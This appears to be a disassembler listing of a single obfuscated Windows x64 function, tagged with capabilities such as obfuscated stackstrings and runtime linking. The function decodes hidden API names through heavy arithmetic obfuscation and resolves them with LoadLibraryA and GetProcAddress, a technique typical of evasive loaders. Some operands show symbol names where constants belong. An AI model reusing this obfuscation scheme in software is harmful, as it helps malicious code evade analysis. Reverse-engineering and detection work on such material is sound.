Function at 0x1400610e0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b8]
sub rsp, 0x4b8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
lea rcx, [rbp + 0x3f8]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp - 8], rdx
mov qword [rbp], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x400], rax
mov qword [rbp - 0x10], rax
mov qword [rcx], 0
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
mov qword [rbp + 0x408], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r13, rax
mov qword [rbp + 0x410], rax
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rbp + 0x418], rax
lea rcx, [0x140148c08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rsp + 0x20], rax
test rsi, rsi
je 0x1400745f1
test r15, r15
je 0x1400745f1
test rax, rax
je 0x1400745f1
test r13, r13
je 0x1400745f1
mov byte [rbp + 0x1d0], 0x78
mov byte [rbp + 0x1d1], 0xad
mov byte [rbp + 0x1d2], 0x4f
mov byte [rbp + 0x1d3], 0xae
mov byte [rbp + 0x1d4], 0x5d
mov byte [rbp + 0x1d5], 0xaf
mov byte [rbp + 0x1d6], 0x77
mov byte [rbp + 0x1d7], 0x51
mov byte [rbp + 0x1d8], 0x54
mov byte [rbp + 0x1d9], 0x46
mov byte [rbp + 0x1da], 0x45
mov byte [rbp + 0x1db], 0xb7
mov byte [rbp + 0x1dc], WSASetLastError
mov byte [rbp + 0x1dd], 0xb4
mov byte [rbp + 0x1de], 0xb3
mov byte [rbp + 0x1df], 0xb2
mov byte [rbp + 0x1e0], 0x41
mov byte [rbp + 0x1e1], 0x62
mov byte [rbp + 0x1e2], 0x46
mov byte [rbp + 0x1e3], 0xbb
mov byte [rbp + 0x1e4], 0xbd
mov byte [rbp + 0x1e5], 0xb9
mov byte [rbp + 0x1e6], 0x2c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e7], xmm0
mov dword [rbp + 0x1f7], eax
mov word [rbp + 0x1fb], ax
movabs r12, 0x5c6d8c22bceb3
movabs r13, 0x263c8e8b52b9ad
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov rax, qword [rax]
xor r10d, r10d
cmp r10, 0x2d
jae 0x140061e77
movzx r9d, byte [rbp + r10 + 0x1d0]
movzx r11d, r9b
nop word [rax + rax]
cmp rbx, r10
ja 0x140061e6e
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x1400612f6
movabs r8, 0x466bd87bfda7
lea rdx, [r10 + r8]
mov rcx, rdx
and rcx, r9
imul rdi, rcx, 0xfffffffffffffffe
add rdi, rdx
add rdi, r9
add dil, 0x6f
jmp 0x14006132d
je 0x140061df5
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140061d5f
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140061d01
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x140061cd7
movabs r8, 0x466bd87bfda7
movzx r11d, r9b
cmp rax, r10
ja 0x140061e65
lea rcx, [rax + 0x61]
cmp rbx, rcx
jae 0x14006135b
lea rdx, [r10 + r12]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x1b
jmp 0x1400613a0
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x140061c82
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140061c57
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140061c2e
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140061c09
lea rcx, [rax + 8]
cmp rbx, rcx
je 0x140061bd2
nop dword [rax]
lea rcx, [rbx + rax]
cmp rcx, r10
jbe 0x1400618f9
nop dword [rax]
lea rcx, [rax + 0x2a]
cmp rbx, rcx
je 0x1400618da
lea rcx, [rax + 0x7a]
cmp rbx, rcx
je 0x1400618b6
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x140061890
lea rcx, [rax + 0x80]
cmp rbx, rcx
je 0x140061870
lea rcx, [rax + 0x40]
cmp rbx, rcx
je 0x140061850
lea rcx, [rax + 0x10]
cmp rbx, rcx
je 0x140061830
lea rcx, [rax + 8]
cmp rbx, rcx
je 0x140061811
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x1400617f6
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x1400617c9
lea rcx, [rax + 0x41]
cmp rbx, rcx
je 0x1400613b0
lea rbx, [rax + 0xa]
lea rax, [rbx + 0x1000]
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x140061e48
lea rcx, [rax + 3]
cmp rbx, rcx
jb 0x140061e2b
lea rcx, [rax + 0x2a]
cmp rbx, rcx
jb 0x1400615a3
lea rcx, [rax + 0x7a]
cmp rbx, rcx
jb 0x14006157f
lea rcx, [rax + 0x400]
cmp rbx, rcx
jb 0x140061564
lea rcx, [rax + 0x80]
cmp rbx, rcx
jb 0x14006177d
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x14006172f
lea rcx, [rax + 0x10]
cmp rbx, rcx
jb 0x140061710
lea rcx, [rax + 8]
cmp rbx, rcx
jb 0x1400616ea
lea rcx, [rax + 4]
cmp rbx, rcx
jb 0x1400613b0
lea rbx, [rax + 0x64]
lea rax, [rbx + 1]
lea rcx, [rax + 0x28]
cmp rbx, rcx
ja 0x1400616bd
lea rcx, [rax + 0xa]
cmp rbx, rcx
ja 0x1400616a2
lea rcx, [rax + 6]
cmp rbx, rcx
ja 0x140061687
lea rcx, [rax + 3]
cmp rbx, rcx
ja 0x14006166c
lea rcx, [rax + 0x2a]
cmp rbx, rcx
ja 0x14006164c
lea rcx, [rax + 0x7a]
cmp rbx, rcx
ja 0x14006162c
lea rcx, [rax + 0x400]
cmp rbx, rcx
ja 0x140061606
lea rcx, [rax + 0x80]
cmp rbx, rcx
ja 0x1400615e2
lea rcx, [rax + 0x40]
cmp rbx, rcx
ja 0x1400615c7
lea rcx, [rax + 0x10]
cmp rbx, rcx
ja 0x1400613b0
lea rbx, [rax + 0x61]
lea rax, [rbx + 8]
jmp 0x1400613b0
lea rdx, [r10 + r13]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x45
jmp 0x1400613a0
movabs rdx, 0x25afb6da5abe5f
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x67
jmp 0x140061331
movabs rdx, 0x2522df2962c311
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x77
jmp 0x1400612c0
lea edx, [r10 - 0x68]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x28
jmp 0x140061ca6
lea edx, [r10 + 0x4a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 6
inc rax
dec r10
inc r10
jmp 0x1400612a3
lea r8d, [r10 - 4]
movzx ecx, r8b
and cl, r9b
mov edx, recvfrom
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x1400612a3
lea r8d, [r10 - 0x52]
movzx ecx, r8b
and cl, r9b
mov edx, 0x1f
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061d24
lea r8d, [r10 + 0x60]
movzx ecx, r8b
and cl, r9b
mov edx, 0x30
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061d43
lea edx, [r10 + 0x12]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x7e
jmp 0x140061d46
lea edx, [r10 - 0x3c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x5c
jmp 0x140061d82
lea edx, [r10 + 0x76]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3a
jmp 0x140061db2
lea edx, [r10 + 0x28]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x18
movzx ecx, byte [rbp + r10 + 0x1d0]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400612a3
lea edx, [r10 - 0x1b]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x43
mov byte [rbp + r10 + 0x1d0], dil
inc r10
jmp 0x1400612a3
movzx r11d, r10b
lea edx, [r11 - 0x69]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x21
jmp 0x140061b6a
lea edx, [r10 + 0x49]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
inc dil
cmp rbx, 6
jae 0x140061b99
lea rcx, [rax + 0x200]
cmp rbx, rcx
jbe 0x140061ab4
movzx r11d, r10b
lea edx, [r11 + 0x7e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x72
jmp 0x140061b6a
lea edx, [r10 - 5]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x23
lea rcx, [rbx + rax]
cmp rcx, 0x2a
je 0x140061bb8
lea rcx, [rax + 0x20]
cmp rbx, rcx
jbe 0x140061a0d
lea edx, [r10 - 0x35]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x73
jmp 0x140061744
lea edx, [r10 + 0x32]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x5e
movzx ecx, byte [rbp + r10 + 0x1d0]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400612a3
lea edx, [r10 - 0x1c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3c
jmp 0x140061db2
movzx r8d, r10b
lea edx, [r8 - 0x6a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x1a
jmp 0x140061d86
lea r8d, [r10 + 0x48]
movzx ecx, r8b
and cl, r9b
mov edx, 4
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061d46
lea r8d, [r10 - 6]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061d43
lea r8d, [r10 - 0x54]
movzx ecx, r8b
and cl, r9b
mov edx, 0x26
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061d24
lea r8d, [r10 + 0x5e]
movzx ecx, r8b
and cl, r9b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x1400612a3
lea edx, [r10 + 0x10]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x70
inc rax
dec r10
inc r10
jmp 0x1400612a3
movzx r11d, r10b
lea edx, [r11 - 0x3e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x4e
jmp 0x140061caa
lea rcx, [rax + 0x80]
cmp rbx, rcx
jae 0x140061921
lea rdx, [r10 + r8]
movzx ecx, dl
and cl, r9b
add cl, cl
sub r11b, cl
lea edi, [rdx + r11]
add dil, 0x6f
jmp 0x140061793
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14006195c
lea r8d, [r10 + 0x66]
movzx ecx, r8b
and cl, r9b
mov edx, 0x1b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 + 0x1d0]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400612a3
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140061984
movzx r8d, r10b
lea edx, [r8 + 2]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0xe
jmp 0x140061d86
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x1400619a8
lea edx, [r10 - 0x14]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x74
jmp 0x140061d24
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x1400619d7
lea r8d, [r10 + 0x3a]
movzx ecx, r8b
and cl, r9b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x1400612a3
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140061793
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r9b
mov edx, 0x24
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
inc rax
dec r10
inc r10
jmp 0x1400612a3
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140061a35
movzx r11d, r10b
lea edx, [r11 + 0x19]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x51
jmp 0x140061caa
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140061a62
lea edx, [r10 + 0x67]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x2f
inc rax
dec r10
inc r10
jmp 0x1400612a3
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140061a8c
lea edx, [r10 - 0x4b]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0xd
dec r10
inc r10
jmp 0x1400612a3
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140061744
lea edx, [r10 - 0x61]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x59
jmp 0x140061d46
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140061aef
lea r8d, [r10 - 0x34]
movzx ecx, r8b
and cl, r9b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 + 0x1d0]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400612a3
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140061b18
lea r8d, [r10 - 0x4a]
movzx ecx, r8b
and cl, r9b
mov edx, 3
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061d46
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140061b3c
lea edx, [r10 + 4]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x1c
jmp 0x140061d43
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140061b66
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x60
dec r10
inc r10
jmp 0x1400612a3
movzx r11d, r10b
cmp rax, 0x28
jb 0x140061700
lea edx, [r11 - 0x76]
movzx ecx, dl
and cl, r9b
mov r8d, 0x1d
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r9b
lea edi, [r8 + r8]
jmp 0x140061caa
lea r8d, [r10 - 0x28]
movzx ecx, r9b
and cl, r8b
movzx edx, r9b
sub dl, cl
add dl, 0xc
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x140061d24
movzx r8d, r10b
lea edx, [r8 + 0x26]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [rdx - 0xa]
jmp 0x140061d86
movabs rdx, 0xaba6dfae3a471
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub r11b, cl
lea edi, [rdx + r11]
sub dil, 0x17
movzx ecx, byte [rbp + r10 + 0x1d0]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400612a3
movabs rdx, 0x913e6e7fbb287
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub r11b, cl
lea edi, [rdx + r11]
add dil, 0x4f
jmp 0x140061d46
movabs r8, 0x7fa37860bbbeb
add r8, r10
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r11b
sub dil, cl
sub dil, 0x6d
add dil, r8b
jmp 0x140061d24
movabs rdx, 0x76d5fd513c09d
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub r11b, cl
lea edi, [rdx + r11]
sub dil, 0x4b
dec r10
inc r10
jmp 0x1400612a3
movabs r8, 0x653b07323ca01
add r8, r10
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r11b
sub dil, cl
sub dil, 7
add dil, r8b
movzx r11d, r10b
add r11b, 0x31
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
sub r11b, 0x57
add r11b, r9b
mov byte [rbp + r10 + 0x1d0], r11b
inc rax
dec r10
inc r10
jmp 0x1400612a3
movabs rdx, 0x42051af43dcc9
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x7f
dec r10
inc r10
jmp 0x1400612a3
movabs rdx, 0x39379fe4be17b
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x5d
movzx r9d, r11b
lea edx, [r10 + 0x7f]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
sub dl, 0x79
add dl, r9b
add dl, dil
mov byte [rbp + r10 + 0x1d0], dl
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x1400612a3
movabs rdx, 0x1ecf2eb63ef91
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 9
movzx r9d, r11b
movzx r8d, r10b
sub r8b, 0x33
movzx ecx, r8b
and cl, r9b
add cl, cl
sub r8b, cl
add r8b, 0x65
add r8b, r9b
movzx ecx, r8b
mov byte [rbp + r10 + 0x1d0], cl
inc rax
add rcx, rax
sub r10, rcx
lea edx, [r10 + 0x74]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
sub dl, 0x2c
add dl, r9b
mov byte [rbp + r10 + 0x1d0], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r10, rcx
movzx ecx, byte [rbp + r10 + 0x1d0]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400612a3
movabs rdx, 0xd3438973f8f5
add rdx, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x4d
movzx ecx, byte [rbp + r10 + 0x1d0]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400612a3
sub r10b, 0x3d
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
lea edi, [r9 + r10]
sub dil, 0x55
jmp 0x1400612a0
add r10b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x33
jmp 0x140061290
lea rdx, [rbp + 0x14e6e04]
jmp 0x140061e7e
lea rdx, [rbp + 0x8a6bab]
jmp 0x140061e7e
lea rdx, [rbp + 0x1d0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
mov byte [rbp + 0x10], 0xe7
mov byte [rbp + 0x11], 0x80
mov byte [rbp + 0x12], 0xb6
mov byte [rbp + 0x13], 0xe4
mov byte [rbp + 0x14], 0xb5
mov byte [rbp + 0x15], 0xb7
mov byte [rbp + 0x16], 0x89
mov byte [rbp + 0x17], 0x84
mov byte [rbp + 0x18], 0x8a
mov byte [rbp + 0x19], 0xa5
mov byte [rbp + 0x1a], 0x81
mov byte [rbp + 0x1b], 0x8c
mov byte [rbp + 0x1c], reloc.WS2_32.dll_recv
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d], xmm0
movabs r12, 0x164aaefe1545e65a
movabs r13, 0xc8a026eebf75192a
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x140062a32
movzx r10d, byte [rbp + r11 + 0x10]
mov esi, r10d
nop dword [rax + rax]
cmp rbx, r11
ja 0x140062a29
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140061f3c
lea rcx, [r11 + r12]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x76
jmp 0x140061f83
je 0x1400629b4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062925
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400628f7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400628dc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140062898
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140062850
movzx r9d, r11b
cmp r8, r11
ja 0x140062a20
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140061fb5
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140061fe0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140062845
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006282d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062810
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140062537
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140062529
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140062500
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400624da
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400624bf
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006249f
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140062482
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140062467
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006244a
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006241e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140061ff0
lea rbx, [r8 + 2]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140062a03
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400629e6
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400621e3
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400621c8
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400621ad
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400623d1
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006238c
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006234e
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140062326
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140061ff0
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400622fa
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400622da
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400622bb
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006229b
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140062278
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006226a
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140062244
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006221b
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140062200
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140061ff0
lea rbx, [r8 + 8]
lea r8, [rbx + 0x80]
jmp 0x140061ff0
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140061fe0
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x140061f87
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x140061f10
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14006286e
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140061ef5
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061ef5
lea edx, [r9 - 0xc]
mov ecx, 0x2a
jmp 0x1400628a5
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006290c
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006290c
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006294a
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140062973
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140061ef5
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x10], dil
inc r11
jmp 0x140061ef5
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 8
jb 0x140062341
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 8]
jmp 0x14006286e
lea edx, [r9 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x2a
jae 0x1400627d6
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x1400626ee
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
jmp 0x14006235d
lea edx, [r9 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 2
je 0x1400627f4
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x1400625eb
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
jmp 0x1400623a6
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140061ef5
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x140062973
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x14006294a
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14006290c
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
add rbx, r8
jmp 0x14006290c
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x1400628b6
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061ef5
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140061ef5
